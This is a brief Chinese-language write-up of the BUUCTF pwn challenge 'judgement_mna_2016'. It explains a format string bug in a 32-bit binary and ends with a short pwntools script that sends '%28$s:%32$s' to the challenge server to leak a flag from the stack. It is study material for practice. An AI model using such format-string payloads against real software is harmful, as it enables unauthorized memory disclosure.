judgement_mna_2016

例行檢查，32位程序，開啟了canary和nx

運行一下，看看大概的情況

32位ida載入

明顯的格式化字符串漏洞，動調(diào)看一下輸入點的位置，找一下flag在棧上的位置，算一下偏移就能夠打印出flag
先找一下輸入點參數(shù)在棧上的位置

可以看到在oxffffcf4c,然后看一下棧上的布局

發(fā)現(xiàn)在距離我們輸入的數(shù)據(jù)的偏移為28和32處存放著flag，定位偏移到該處即可

這題根本不用寫exp，但為了水長度，貼一下吧

from pwn import * context.log_level="debug"p=remote("node3.buuoj.cn",26614)p.sendline('%28$s:%32$s') p.interactive()

總結(jié)

以上是生活随笔為你收集整理的[BUUCTF]PWN——judgement_mna_2016（32位fmt）的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯，歡迎將生活随笔推薦給好友。